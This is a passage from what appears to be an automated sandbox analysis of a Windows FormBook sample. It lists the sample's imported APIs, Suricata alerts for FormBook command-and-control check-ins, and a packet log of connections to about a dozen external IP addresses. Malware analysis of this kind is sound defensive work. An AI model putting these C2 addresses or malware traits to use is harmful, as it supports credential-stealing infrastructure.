LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
GDI32.dll	SetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T08:09:50.755454+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49736	76.223.74.74	80	TCP
2024-11-24T08:10:08.556004+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49759	154.90.58.209	80	TCP
2024-11-24T08:10:11.211663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49765	154.90.58.209	80	TCP
2024-11-24T08:10:13.907738+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49771	154.90.58.209	80	TCP
2024-11-24T08:10:16.659859+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49777	154.90.58.209	80	TCP
2024-11-24T08:10:24.789764+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49798	47.76.213.197	80	TCP
2024-11-24T08:10:27.446047+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49804	47.76.213.197	80	TCP
2024-11-24T08:10:30.164858+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49810	47.76.213.197	80	TCP
2024-11-24T08:10:32.893304+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49817	47.76.213.197	80	TCP
2024-11-24T08:10:40.198686+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49835	74.48.143.82	80	TCP
2024-11-24T08:10:42.917056+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49842	74.48.143.82	80	TCP
2024-11-24T08:10:45.583944+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49848	74.48.143.82	80	TCP
2024-11-24T08:10:48.201147+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49854	74.48.143.82	80	TCP
2024-11-24T08:10:55.017097+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49870	13.248.169.48	80	TCP
2024-11-24T08:10:57.596692+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49880	13.248.169.48	80	TCP
2024-11-24T08:11:00.312704+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49886	13.248.169.48	80	TCP
2024-11-24T08:11:03.029501+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49893	13.248.169.48	80	TCP
2024-11-24T08:11:10.868021+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49909	103.21.221.87	80	TCP
2024-11-24T08:11:13.540115+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49917	103.21.221.87	80	TCP
2024-11-24T08:11:16.211740+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49924	103.21.221.87	80	TCP
2024-11-24T08:11:18.959244+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49931	103.21.221.87	80	TCP
2024-11-24T08:11:27.930490+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49952	8.210.46.21	80	TCP
2024-11-24T08:11:30.602583+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49958	8.210.46.21	80	TCP
2024-11-24T08:11:33.274209+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49965	8.210.46.21	80	TCP
2024-11-24T08:11:36.004913+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49972	8.210.46.21	80	TCP
2024-11-24T08:11:42.908358+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49991	203.161.43.228	80	TCP
2024-11-24T08:11:45.590373+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49997	203.161.43.228	80	TCP
2024-11-24T08:11:48.403824+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50004	203.161.43.228	80	TCP
2024-11-24T08:11:50.893888+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50010	203.161.43.228	80	TCP
2024-11-24T08:11:57.671231+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50026	13.248.169.48	80	TCP
2024-11-24T08:12:00.297566+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50032	13.248.169.48	80	TCP
2024-11-24T08:12:03.062130+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50033	13.248.169.48	80	TCP
2024-11-24T08:12:05.646132+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50034	13.248.169.48	80	TCP
2024-11-24T08:12:12.741219+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50035	147.255.21.187	80	TCP
2024-11-24T08:12:15.407420+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50036	147.255.21.187	80	TCP
2024-11-24T08:12:18.190723+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50037	147.255.21.187	80	TCP
2024-11-24T08:12:20.825674+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50038	147.255.21.187	80	TCP
2024-11-24T08:12:27.641372+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50039	104.21.42.77	80	TCP
2024-11-24T08:12:30.335831+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50040	104.21.42.77	80	TCP
2024-11-24T08:12:33.076962+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50041	104.21.42.77	80	TCP
2024-11-24T08:12:35.945886+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50042	104.21.42.77	80	TCP
2024-11-24T08:12:43.368138+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50043	172.67.168.228	80	TCP
2024-11-24T08:12:46.040089+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50044	172.67.168.228	80	TCP
2024-11-24T08:12:48.715939+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50045	172.67.168.228	80	TCP
2024-11-24T08:12:51.493441+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50046	172.67.168.228	80	TCP
2024-11-24T08:12:58.667448+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50047	194.58.112.174	80	TCP
2024-11-24T08:13:01.334384+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50048	194.58.112.174	80	TCP
2024-11-24T08:13:03.997525+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50049	194.58.112.174	80	TCP
2024-11-24T08:13:06.696046+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50050	194.58.112.174	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 08:09:49.474462032 CET	49736	80	192.168.2.4	76.223.74.74
Nov 24, 2024 08:09:49.594149113 CET	80	49736	76.223.74.74	192.168.2.4
Nov 24, 2024 08:09:49.594307899 CET	49736	80	192.168.2.4	76.223.74.74
Nov 24, 2024 08:09:49.603538990 CET	49736	80	192.168.2.4	76.223.74.74
Nov 24, 2024 08:09:49.723237038 CET	80	49736	76.223.74.74	192.168.2.4
Nov 24, 2024 08:09:50.755297899 CET	80	49736	76.223.74.74	192.168.2.4
Nov 24, 2024 08:09:50.755352020 CET	80	49736	76.223.74.74	192.168.2.4
Nov 24, 2024 08:09:50.755454063 CET	49736	80	192.168.2.4	76.223.74.74
Nov 24, 2024 08:09:50.758902073 CET	49736	80	192.168.2.4	76.223.74.74
Nov 24, 2024 08:09:50.878360987 CET	80	49736	76.223.74.74	192.168.2.4
Nov 24, 2024 08:10:06.915112972 CET	49759	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:07.034673929 CET	80	49759	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:07.034780979 CET	49759	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:07.050307989 CET	49759	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:07.169965029 CET	80	49759	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:08.556004047 CET	49759	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:08.676088095 CET	80	49759	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:08.676155090 CET	49759	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:09.574652910 CET	49765	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:09.694267988 CET	80	49765	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:09.694358110 CET	49765	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:09.706563950 CET	49765	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:09.826179028 CET	80	49765	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:11.211663008 CET	49765	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:11.331700087 CET	80	49765	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:11.331815958 CET	49765	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:12.230755091 CET	49771	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:12.350389004 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.350471020 CET	49771	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:12.367130995 CET	49771	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:12.486891031 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.486932993 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.486988068 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.487015009 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.487047911 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.487075090 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.487154961 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.487185955 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:12.487289906 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:13.907737970 CET	49771	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:14.027832985 CET	80	49771	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:14.028032064 CET	49771	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:14.918665886 CET	49777	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:15.038443089 CET	80	49777	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:15.038754940 CET	49777	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:15.048355103 CET	49777	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:15.168047905 CET	80	49777	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:16.659656048 CET	80	49777	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:16.659785986 CET	80	49777	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:16.659858942 CET	49777	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:16.682159901 CET	49777	80	192.168.2.4	154.90.58.209
Nov 24, 2024 08:10:16.801784992 CET	80	49777	154.90.58.209	192.168.2.4
Nov 24, 2024 08:10:23.141345978 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:23.261109114 CET	80	49798	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:23.261254072 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:23.275626898 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:23.395226955 CET	80	49798	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:24.789763927 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:24.857832909 CET	80	49798	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:24.857983112 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:24.858050108 CET	80	49798	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:24.858107090 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:24.911758900 CET	80	49798	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:24.911879063 CET	49798	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:25.808926105 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:25.928591967 CET	80	49804	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:25.928719044 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:25.944946051 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:26.064831018 CET	80	49804	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:27.446047068 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:27.528074026 CET	80	49804	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:27.528117895 CET	80	49804	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:27.528189898 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:27.528255939 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:27.566112995 CET	80	49804	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:27.566248894 CET	49804	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:28.513802052 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:28.633403063 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.633516073 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:28.650484085 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:28.770411015 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770452023 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770493984 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770545959 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770603895 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770633936 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770693064 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770791054 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:28.770823956 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:30.164858103 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:30.245706081 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:30.245748997 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:30.245879889 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:30.249417067 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:30.284652948 CET	80	49810	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:30.285429955 CET	49810	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:31.211956024 CET	49817	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:31.331593990 CET	80	49817	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:31.331707954 CET	49817	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:31.342281103 CET	49817	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:31.461956978 CET	80	49817	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:32.893115997 CET	80	49817	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:32.893142939 CET	80	49817	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:32.893304110 CET	49817	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:32.896217108 CET	49817	80	192.168.2.4	47.76.213.197
Nov 24, 2024 08:10:33.015639067 CET	80	49817	47.76.213.197	192.168.2.4
Nov 24, 2024 08:10:38.859672070 CET	49835	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:38.979362011 CET	80	49835	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:38.979496002 CET	49835	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:38.993603945 CET	49835	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:39.113444090 CET	80	49835	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:40.198443890 CET	80	49835	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:40.198467016 CET	80	49835	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:40.198487043 CET	80	49835	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:40.198685884 CET	49835	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:40.508609056 CET	49835	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:41.529026031 CET	49842	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:41.648956060 CET	80	49842	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:41.651444912 CET	49842	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:41.666551113 CET	49842	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:41.786156893 CET	80	49842	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:42.916935921 CET	80	49842	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:42.917006016 CET	80	49842	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:42.917056084 CET	49842	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:42.918179035 CET	80	49842	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:42.918226004 CET	49842	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:43.180613995 CET	49842	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:44.199588060 CET	49848	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:44.319196939 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.319303989 CET	49848	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:44.335087061 CET	49848	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:44.454942942 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.455558062 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.456999063 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.457120895 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.458867073 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.458978891 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.458988905 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.458997965 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:44.459007025 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:45.583853006 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:45.583875895 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:45.583925009 CET	80	49848	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:45.583944082 CET	49848	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:45.584038019 CET	49848	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:45.836669922 CET	49848	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:46.856529951 CET	49854	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:46.976315022 CET	80	49854	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:46.976495981 CET	49854	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:46.991288900 CET	49854	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:47.110841990 CET	80	49854	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:48.200839996 CET	80	49854	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:48.200902939 CET	80	49854	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:48.200961113 CET	80	49854	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:48.201147079 CET	49854	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:48.205373049 CET	49854	80	192.168.2.4	74.48.143.82
Nov 24, 2024 08:10:48.324928999 CET	80	49854	74.48.143.82	192.168.2.4
Nov 24, 2024 08:10:53.698152065 CET	49870	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:53.817719936 CET	80	49870	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:53.821497917 CET	49870	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:53.836222887 CET	49870	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:53.955837011 CET	80	49870	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:55.017045021 CET	80	49870	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:55.017096996 CET	49870	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:55.352282047 CET	49870	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:55.471836090 CET	80	49870	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:56.371025085 CET	49880	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:56.490688086 CET	80	49880	13.248.169.48	192.168.2.4
Nov 24, 2024 08:10:56.493601084 CET	49880	80	192.168.2.4	13.248.169.48
Nov 24, 2024 08:10:56.509388924 CET	49880	80	192.168.2.4	13.248.169.48
